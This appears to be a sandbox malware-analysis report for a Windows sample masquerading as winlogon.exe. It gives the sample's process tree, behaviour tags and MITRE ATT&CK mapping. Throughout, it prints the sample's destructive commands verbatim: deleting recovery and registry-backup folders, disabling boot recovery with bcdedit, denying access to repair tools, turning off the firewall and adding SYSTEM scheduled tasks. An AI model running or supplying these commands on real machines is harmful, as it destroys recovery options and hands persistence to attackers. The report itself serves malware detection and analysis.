      schtasks /create /tn "WinSysCache_onstart" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onstart /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rd /s /q "\\?\GLOBALROOT\device\harddisk0\partition2\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:4168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rd /s /q "C:\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mkdir "C:\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\bcdedit.exe" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5340
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\bcdedit.exe" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSysCache_Global" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /ru "SYSTEM" /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4196
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinSysCache_Global" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /ru "SYSTEM" /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Recovery""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:3212
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Recovery"
      4⤵
      Views/modifies file attributes
      PID:4672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy IgnoreAllFailures"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3496
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\bootrec.exe" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:404
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\bootrec.exe" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rd /s /q "C:\Windows\System32\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} advancedoptions false"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2580
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} advancedoptions false
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4344
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mkdir "C:\Windows\System32\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:4380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    PID:200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} optionsedit false"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5864
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} optionsedit false
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Windows\System32\Recovery""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4240
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Windows\System32\Recovery"
      4⤵
      Drops file in System32 directory
      Views/modifies file attributes
      PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootlog No"
    3⤵
    - Executes a command shell one-liner
    PID:4076
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootlog No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\recimg.exe" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    PID:4432
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\recimg.exe" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rd /s /q "C:\Windows\System32\config\RegBack""
    3⤵
    - Executes a command shell one-liner
    PID:5436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mkdir "C:\Windows\System32\config\RegBack""
    3⤵
    - Executes a command shell one-liner
    PID:4744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "shutdown /r /t 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:4584
  - - C:\Windows\system32\shutdown.exe
      shutdown /r /t 0 /f
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} displaybootmenu No"
    3⤵
    - Executes a command shell one-liner
    PID:3224
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} displaybootmenu No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\dism.exe" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    PID:3596
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\dism.exe" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4556

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2600
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - UAC bypass
  - Disables RegEdit via registry modification
  - Disables cmd.exe use via registry modification
  - Uses Session Manager for persistence
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - System policy modification
  PID:4092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s +r C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4068
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +r C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache
      4⤵
      Views/modifies file attributes
      PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    PID:2420
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
    3⤵
    - Executes a command shell one-liner
    PID:4500
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reagentc /info"
    3⤵
    - Executes a command shell one-liner
    PID:4676
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /info
      4⤵
      Drops file in Windows directory
      PID:2940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSysCache_onlogon" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    PID:1968
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinSysCache_onlogon" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootmenupolicy Standard"
    3⤵
    - Executes a command shell one-liner
    PID:944
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy Standard
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\gpedit.msc""
    3⤵
    PID:1368
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2308
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\gpedit.msc"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:5764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rd /s /q "C:\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:5744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootstatuspolicy IgnoreAllFailures"
    3⤵
    - Executes a command shell one-liner
    PID:1288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    PID:1492
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSysCache_onstart" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onstart /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    PID:4232
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3084
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinSysCache_onstart" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onstart /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} displaybootmenu No"
    3⤵
    - Executes a command shell one-liner
    PID:3880
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} displaybootmenu No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\gpedit.msc" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    PID:4680
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\gpedit.msc" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mkdir "C:\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:1380

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - UAC bypass
  - Disables RegEdit via registry modification
  - Disables cmd.exe use via registry modification
  - Uses Session Manager for persistence
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s +r C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:5068
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +r C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache
      4⤵
      Views/modifies file attributes
      PID:4976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5480
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:3676
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reagentc /info"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /info
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:5440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSysCache_onlogon" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4160
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinSysCache_onlogon" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootmenupolicy Standard"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy Standard
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\gpedit.msc""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\gpedit.msc"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rd /s /q "C:\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:5528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootstatuspolicy IgnoreAllFailures"
    3⤵
    - Executes a command shell one-liner
    PID:1636
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootstatuspolicy IgnoreAllFailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:3900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} displaybootmenu No"
    3⤵
    - Executes a command shell one-liner
    PID:2752
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} displaybootmenu No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\gpedit.msc" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    PID:3520
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\gpedit.msc" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSysCache_onstart" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onstart /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    PID:5560
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinSysCache_onstart" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onstart /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mkdir "C:\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:5548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    PID:1584
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Recovery""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    PID:4816
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Recovery"
      4⤵
      Views/modifies file attributes
      PID:2236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSysCache_Global" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /ru "SYSTEM" /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    PID:2996
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinSysCache_Global" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /ru "SYSTEM" /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\bcdedit.exe" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    PID:3564
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\bcdedit.exe" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rd /s /q "C:\Windows\System32\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:2708

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3988855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:1544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Modify Registry